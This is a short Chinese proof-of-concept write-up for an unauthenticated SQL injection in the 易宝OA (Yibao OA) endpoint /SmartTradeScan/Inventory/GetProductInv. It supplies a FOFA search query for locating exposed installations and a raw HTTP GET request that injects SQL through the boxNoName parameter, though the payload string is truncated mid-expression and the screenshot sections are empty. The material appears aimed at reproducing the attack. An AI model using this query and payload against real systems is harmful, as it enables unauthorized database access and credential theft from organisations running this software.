Y6-10易宝-OA-SQL

漏洞描述：

易宝OA /SmartTradeScan/Inventory/GetProductInv 接口处存在SQL注入漏洞，未经身份认证的攻击者可以通过此漏洞获取数据库敏感信息，用户名密码等凭据，进一步利用可获取服务器权限。

网站图片：

网络测绘：

fofa语法：

FOFA：app="顶讯科技-易宝OA系统"

漏洞复现：

payload：

```
GET /SmartTradeScan/Inventory/GetProductInv?boxNoName=1%27%20AND%201411%20IN%20(SELECT%20(CHAR(113)%2bCHAR(98)%2bCHAR(112)%2bCHAR(112)%2bCHAR(113)%2b(SELECT%20(CASE%20WH
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.712.36 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
```

效果图: